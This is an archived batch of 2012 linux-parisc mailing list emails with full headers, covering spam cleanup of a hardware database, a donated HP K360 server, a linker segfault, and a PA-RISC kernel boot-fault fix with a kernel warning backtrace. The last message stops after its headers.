Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337617209 32124 80.91.229.3 (21 May 2012 16:20:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 May 2012 16:20:09 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 21 18:20:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWVL0-0007Yx-UI
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 May 2012 18:20:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756604Ab2EUQT7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 May 2012 12:19:59 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:36233 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756599Ab2EUQT7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 May 2012 12:19:59 -0400
Original-Received: by wgbdr13 with SMTP id dr13so5155273wgb.1
        for <linux-parisc@vger.kernel.org>; Mon, 21 May 2012 09:19:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=+hcYwpKiNbTVD0WntDADOh7EiP+hbPkyRraz/8WvjWs=;
        b=QlzpcUPP7F8b4UvwP2aPIEWLe3cX2g7s3TX84g5I4od2md6aVSM6RDxKPfgZxWPYKA
         mn2lOr5TtKryf9jVBxNITt/ik5xebEEl/7OCyTYiu5OFsQhyFm32Nx8Sma5gcXpih/LF
         6fkj7d6DFM7r7Ykg/6COSS6zLjUMbyBdQdhcR5DrhxUIwDNTEQBv0EELvAvG/DZQqmG2
         t7YKD3qeID3kn7fp2OmOXZz3dENIRZNGKTCL1zI4M8IXaO0uGR0xtpuDlaPBWOr4r48V
         +sYG43Qcjet9o5ec0B/CgIz+0DUIfjGe7dAuBkOua6IGU9/0KkNVX90iGTw5cHPPC+eH
         ZJLg==
Original-Received: by 10.180.105.194 with SMTP id go2mr26839438wib.22.1337617197812;
 Mon, 21 May 2012 09:19:57 -0700 (PDT)
Original-Received: by 10.227.36.6 with HTTP; Mon, 21 May 2012 09:19:57 -0700 (PDT)
In-Reply-To: <CA+DQjFj23mRTQnZVb2ikT3qJQ3SCXm9WSxhB3gyFwUD43vdX5Q@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4456>

On Mon, May 21, 2012 at 8:37 AM, Thibaut VARENE <T-Bone@parisc-linux.or=
g> wrote:
> Hi,
>
> I just received this email as it seems that hwdb@p-l.o is still an
> alias for me, which prompts the following remarks: I haven't been
> doing any work on the p-l hwdb in the past 5+ years I think so maybe
> that alias could be better used otherwise, and I think that aside
> pruning the stuff that spammers have put there, it might be useful to
> make that website/database read-only... :-)

Thanks Thibaut!

Personally, I'd just delete anything related to "owners" from the
website. I'm willing to do that if there are no objections. Initially
it was useful to know who had particular HW. Now we can just post here
to ask if someone can please test on the necessary HW (e.g. pa8800 or
Astro chipset or 712).

cheers,
grant

ps. Kudos to Karl for pointing out the abuse.

>
> HTH,
> T-Bone
>
>
> ---------- Forwarded message ----------
> From: Karl Magnus Kolstoe <karl.kolsto@uib.no>
> Date: Mon, May 21, 2012 at 6:39 AM
> Subject: Washing of machine owner database
> To: hwdb@parisc-linux.org
> Cc: Karl Magnus Kolstoe <karl.kolsto@uib.no>
>
>
> Hi,
>
> I had a quick look at the machine database and concluded that you
> might want to wash your database a bit.
>
> Have e.g a look at "Owners of this machine" on this page;
> http://hwdb.parisc-linux.org/view.php?type=3Dmachine&name=3DK100
>
> Just thought I should mention it.
>
> Thanks
> --
> Karl Magnus Kolst=F8 - Member of the first RFC 1149 implementation te=
am.
>
>
> --
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: HP K360 available in Norway
Date: Mon, 21 May 2012 14:23:20 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <CAErSpo5ACay+BDMm=Z_rUo+76==pQr-d7M4cZkeE_PKzDhy=Ng@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1337631833 8639 80.91.229.3 (21 May 2012 20:23:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 May 2012 20:23:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 21 22:23:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWZ8p-0004nq-Ao
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 May 2012 22:23:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756871Ab2EUUXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 May 2012 16:23:43 -0400
Original-Received: from mail-lpp01m010-f46.google.com ([209.85.215.46]:34793 "EHLO
	mail-lpp01m010-f46.google.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754756Ab2EUUXm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 May 2012 16:23:42 -0400
Original-Received: by lahd3 with SMTP id d3so3788821lah.19
        for <linux-parisc@vger.kernel.org>; Mon, 21 May 2012 13:23:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:from:date:message-id:subject:to:content-type
         :x-system-of-record;
        bh=VW5nfr+N+p6uAwJsIUUXRMjAH9LpPY8x3+O33RpSqlQ=;
        b=j8IvtNY5pO3sDuDErd94t8Js4ATepiyco3ulReVPtx9TRhUqwjm2r6CGO/7Z8U06AA
         33eYintJvLxvPZUMSv3dt0uWYl1J8VHaqQhOd5etQPV88Pjoldtrz2Fyl1kQyeDbql9x
         Sbh1cPSTXIbWtQPFTMFkTlzKqB4VOLsCzXGSC7HPtvhzo9uTpXX7g9bMqW0rGG3WNnvO
         k1hY1dbfBtjsE1I52PTv9Iw+ubw1MJKxEk/202um9uSgClZlVTs15oGVJLZO0V/T1FWF
         ISvIabd8i94bw+BqxmEWJWN2hipXuVReeQrpuVTx54UktfIE9k+QAJWw5czfm2aIFCjw
         Gw7g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:from:date:message-id:subject:to:content-type
         :x-system-of-record:x-gm-message-state;
        bh=VW5nfr+N+p6uAwJsIUUXRMjAH9LpPY8x3+O33RpSqlQ=;
        b=p2Tlx89x/waPFjhPgA8l9rIJjqivcUBFpKnR88c4JqwKQMGR5hhFeNDNkupXCM/IaQ
         ZNuGrk5VNUJN0xnPWH6e8SH5KUuamydRporTSM9ZLqtX0XdRROwHl1ZygZ6fJZfVSLv5
         6cIgsBdcy4nklZUnr8lodwhTM8smai9Ulj5a5dQlhagcYzorfTA0TTz+n6QDD/6eFzsl
         RCWds0GJa5mP5Ghb6pcI+zClJyFu91081TbjQuxYWQOLN9MYL22LF2d3SFlGLSGvMbFU
         u3b+34hk7ky/wVfmBfOlLB66UJyeRiJVYapPRgN1qaXQR2/nAwe+NQNTjC/Mxj5jYRA+
         Ceag==
Original-Received: by 10.112.48.169 with SMTP id m9mr8823487lbn.93.1337631820785;
        Mon, 21 May 2012 13:23:40 -0700 (PDT)
Original-Received: by 10.112.48.169 with SMTP id m9mr8823478lbn.93.1337631820641; Mon,
 21 May 2012 13:23:40 -0700 (PDT)
Original-Received: by 10.112.86.6 with HTTP; Mon, 21 May 2012 13:23:20 -0700 (PDT)
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQl1yasQYpMq8ayo3NcCtx1Xu9DBTKRMmlwV3S0DVCe/uzEADPlwI2mfgcbToYaPnMOLjP1OZYUSw2aidtPi/Fy3fsolVtRkGoD6C1hSsUcQBbsTlI89eUXVcIvbNhf2QTtlQ8Ad+2NygxUmeYAVz+JyBxb8eQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4457>

Someone with an HP K360 contacted me, looking for a way to give it to
somebody who could use it, preferably for Linux work.  It's a large
machine and expensive to ship, so ideally you'd be able to pick it up
in Bergen, Norway.

If you're interested, let me know and I can get you in touch with the owner.

Bjorn
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Mon, 21 May 2012 22:59:46 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <4FBAACC2.9080508@gmx.de>
References: <4FA9975C.5060708@bergerie>     <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>     <4FAADE2A.9080803@bergerie>   <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>   <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>   <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>     <1337069366.3005.10.camel@dabdike.lan>    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>   <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>   <4FB6BA76.6010101@gmx.de>  <1337508060.2682.13.came
 l@dabdike.int.hansenpartnership.com>  <4FB941EF.4060304@gmx.de> <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com> <4FB95D75.1020705@gmx.de> <BLU0-SMTP33779E3F5B5087F47880C2971C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337634012 31808 80.91.229.3 (21 May 2012 21:00:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 May 2012 21:00:12 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 21 23:00:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWZi4-0002aT-IZ
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 May 2012 23:00:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758709Ab2EUU74 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 May 2012 16:59:56 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:51983 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1758742Ab2EUU7z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 May 2012 16:59:55 -0400
Original-Received: (qmail invoked by alias); 21 May 2012 20:59:53 -0000
Original-Received: from p54AD0AAF.dip0.t-ipconnect.de (EHLO [192.168.178.51]) [84.173.10.175]
  by mail.gmx.net (mp070) with SMTP; 21 May 2012 22:59:53 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18IP2J5/O0I+4k8bIOmzZPTF9dfuuTPTedsT0HvR1
	fh9pVLxpb4hkqi
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120430 Thunderbird/12.0.1
In-Reply-To: <BLU0-SMTP33779E3F5B5087F47880C2971C0@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4458>

On 05/20/2012 11:25 PM, John David Anglin wrote:
> On 20-May-12, at 5:09 PM, Helge Deller wrote:
>
>> Just to make sure, I just wanted to build the same kernel now for 
>> 64bit...
>> Sadly hppa64-ld crashes for me...
>
> Please file a bug report ;(

Ok, will do.

>
> I haven't tested binutils for some time...
>
> Suggest using 2.22 branch for now.

hppa64-linux-ld from 2.22 segfaults the same way.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Gantner \(nephros\)" <gentoo@nephros.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 23 May 2012 10:47:18 +0200 (CEST)
Lines: 135
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.02.1205231026560.26323@chalice.crownest.nephros.org>
References: <4FA9975C.5060708@bergerie>     <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>     <4FAADE2A.9080803@bergerie>   <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>   <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
   <4FB182F8.2040403@gmx.de>   <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>     <1337069366.3005.10.camel@dabdike.lan>    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>   
 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>   <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>   <4FB6BA76.6010101@gmx.de>
  <1337508060.2682.13.camel@dabdike.int.hansenpartnership.com>  <4FB941EF.4060304@gmx.de> <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com> <4FB95D75.1020705@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463809792-503765717-1337762020=:26323"
X-Trace: dough.gmane.org 1337763874 9562 80.91.229.3 (23 May 2012 09:04:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 May 2012 09:04:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 23 11:04:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SX7UW-0001nL-Hl
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 May 2012 11:04:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753570Ab2EWJEX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 May 2012 05:04:23 -0400
Original-Received: from fep28.mx.upcmail.net ([62.179.121.48]:40486 "EHLO
	fep28.mx.upcmail.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752045Ab2EWJEF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 May 2012 05:04:05 -0400
X-Greylist: delayed 1000 seconds by postgrey-1.27 at vger.kernel.org; Wed, 23 May 2012 05:04:04 EDT
Original-Received: from edge02.upcmail.net ([192.168.13.237])
          by viefep12-int.chello.at
          (InterMail vM.8.01.05.04 201-2260-151-105-20111014) with ESMTP
          id <20120523084719.COFP29183.viefep12-int.chello.at@edge02.upcmail.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 23 May 2012 10:47:19 +0200
Original-Received: from chello084115144244.4.graz.surfer.at ([84.115.144.244])
	by edge02.upcmail.net with edge
	id DLnJ1j01h5Gbs3Y02LnJB8; Wed, 23 May 2012 10:47:19 +0200
X-SourceIP: 84.115.144.244
Original-Received: (qmail 23348 invoked by uid 1000); 23 May 2012 08:47:18 -0000
X-X-Sender: nephros@chalice.crownest.nephros.org
In-Reply-To: <4FB95D75.1020705@gmx.de>
User-Agent: Alpine 2.02 (LNX 1266 2009-07-14)
X-Iron-Prison: The Empire never ended.
X-GPG-Key: http://nephros.org/nephros.gpg.asc
X-GPG-Fingerprint: 7169 F6A8 E45B 102B ED7D 96BB 48CD 4FC3 A082 5C67
Content-ID: <alpine.LNX.2.02.1205231035000.26323@chalice.crownest.nephros.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4459>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1463809792-503765717-1337762020=:26323
Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-15; FORMAT=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <alpine.LNX.2.02.1205231035001.26323@chalice.crownest.nephros.org>

Hodie XIII Kal. Iun. MMXII AUC quidam/qu=E6dam/quoddam 'Helge Deller' inqui=
t:

> On 05/20/2012 10:15 PM, James Bottomley wrote:
>> On Sun, 2012-05-20 at 21:11 +0200, Helge Deller wrote:
>>> On 05/20/2012 12:01 PM, James Bottomley wrote:
>>>> On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
>>>>> James, here is the full kernel log. Does this help?
>>>> Yes and no: it shows clearly we got all the way through the initrd, so
>>>> we've gone through the alias region thousands of times doing flushes.
>>>>=20
>>>>> Kernel Fault: Code=3D26 regs=3D8fc30940 (Addr=3D0f2ff000)
>>>>>=20
>>>> It's an access rights trap, presumably on the alias tlb, since the
>>>> address is definitely in the alias region.  The obvious candidate is t=
he
>>>> protection id deposit in do_alias
>>>>
>>>> =09depw,z=09=09\prot,8,7,\prot
>>>>=20
>>>> but that all checks out fine (you can compare it with
>>>> make_insert_tlb_11). So the page should have read, write and dirty set=
=2E
>>>>=20
>>>> The interesting thing is that the only way to get an access rights tra=
p
>>>> in the kernel is if the protection type is zero and I just can't see h=
ow
>>>> do_alias would zero out \prot in a way that functions on your C3000
>>>> (PA2.0) but not on the PA1.1 systems.
>>>>=20
>>>> Are you sure this is booting the same kernel?
>>> Yes, since I use tftboot to deliver same vmlinux kernel to all my machi=
nes
>>> for bootup.
>> The penny finally dropped on Dave's last comment.  The _20 path needs to
>> use wide instructions even though it's executing narrow code because we
>> have to use the PA2.0 tlb insertion instruction, so it's not
>> CONFIG_64BIT that's the differentiator, but which interruption path
>> we're on.
>>=20
>> Does this fix it?
> Yes, this fixed the crash. No segfaults at all on all my machines  :-)

Just checking in to report that I did the same patch dance on my C180 (afte=
r
spending about a week on getting its ancient Gentoo installation up to date=
=2E
Many many thanks to whoever provides the binaries on tinderbox.dev.gentoo.o=
rg):

# uname -a
Linux hydralisk 3.4.0-rc7-hyT #11 Wed May 23 10:00:17 CEST 2012 parisc=20
PA8000 (PCX-U) 9000/780/C180 GNU/Linux

and these patches work here as well (also I get the same oopses without=20
them).

You can see all relevant files here:
https://public.nephros.org/~nephros/stuff/hppa/linux-2.6-d6c77973/

In addition after a suggestion by Mikulas I applied the NO_IRQ patch from h=
ere:
http://www.spinics.net/lists/linux-parisc/msg03894.html
and it did not seem to have adverse effect.

Let me know if I can test anything else.

On a side note, I get a warning while booting about RTC being registered, i=
n the dmesg here:
https://public.nephros.org/~nephros/stuff/hppa/linux-2.6-d6c77973/try4/
as well as some warnings during compile (don't have a log of them right now=
, sorry)

Is that something peculiar to my config, or is there something amiss in the=
 current source?

------------[ cut here ]------------
WARNING: at fs/proc/generic.c:586
Modules linked in:

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 104c4800 101e100c 6ecc6940
r04-07  6fc05240 6ecc6b40 6ecc698d 6ecb52b8
r08-11  00000000 104fe000 104fe000 00000048
r12-15  10578b18 1055c45c 000000fd f0100000
r16-19  f000168c f000020c f0000204 104c4d38
r20-23  00000000 0000000a 102b6efc 102b7ab0
r24-27  ffffffff 00002358 104c4f88 104aa000
r28-31  00000035 000000b4 6fc2c5c0 102b8d28
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101e100c 101e1010
  IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 6fc2c000 CR31: ffffffff
  ORIG_R28: 10418800
  IAOQ[0]: proc_register+0x13c/0x190
  IAOQ[1]: proc_register+0x140/0x190
  RP(r2): proc_register+0x13c/0x190
Backtrace:
  [<101e10ec>] proc_create_data+0x8c/0xb4
  [<102ff488>] rtc_proc_add_device+0x30/0x3c
  [<102fd0d8>] rtc_device_register+0x1d8/0x264
  [<10555b78>] generic_rtc_probe+0x28/0x4c
  [<102c4adc>] platform_drv_probe+0x1c/0x28
  [<102c392c>] driver_probe_device+0xac/0x1c0
  [<102c3aa8>] __driver_attach+0x68/0x9c
  [<102c20f8>] bus_for_each_dev+0x60/0xa0
  [<102c2fac>] bus_add_driver+0xac/0x230
  [<102c3e80>] driver_register+0xa4/0x13c
  [<102c4e40>] platform_driver_probe+0x20/0x6c
  [<10112850>] do_one_initcall+0x180/0x24c
  [<10540ae4>] kernel_init+0x134/0x1fc
  [<1010305c>] ret_from_kernel_thread+0x1c/0x24

---[ end trace a48b844e905b2419 ]---

Best Wishes,
   Peter G.
---1463809792-503765717-1337762020=:26323--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 23 May 2012 19:09:29 -0400
Lines: 160
Approved: news@gmane.org
Message-ID: <BLU0-SMTP604D3208C7D6BE30CD5AF297030@phx.gbl>
References: <4FA9975C.5060708@bergerie>
     <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
     <4FAADE2A.9080803@bergerie>
   <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>
   <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl> <4FB182F8.2040403@gmx.de>
   <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
     <1337069366.3005.10.camel@dabdike.lan>
    <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
    <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
    <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
    <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
    <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>
   <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
   <4FB6BA76.6010101@gmx.de>
 <1337508060.2682.13.camel@dabdike.int.hansenpartnership.com>
  <4FB941EF.4060304@gmx.de>
 <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com>
 <4FB95D75.1020705@gmx.de>
 <alpine.LNX.2.02.1205231026560.26323@chalice.crownest.nephros.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337814596 7556 80.91.229.3 (23 May 2012 23:09:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 May 2012 23:09:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Peter Gantner (nephros) <gentoo@nephros.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 24 01:09:54 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SXKgg-000351-NC
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 May 2012 01:09:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752201Ab2EWXJt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 May 2012 19:09:49 -0400
Original-Received: from blu0-omc3-s19.blu0.hotmail.com ([65.55.116.94]:13354 "EHLO
	blu0-omc3-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752097Ab2EWXJs convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 May 2012 19:09:48 -0400
Original-Received: from BLU0-SMTP60 ([65.55.116.74]) by blu0-omc3-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 23 May 2012 16:09:47 -0700
X-Originating-IP: [174.92.87.213]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.87.213]) by BLU0-SMTP60.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 23 May 2012 16:09:46 -0700
In-Reply-To: <alpine.LNX.2.02.1205231026560.26323@chalice.crownest.nephros.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 May 2012 23:09:46.0556 (UTC) FILETIME=[25506FC0:01CD3939]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4460
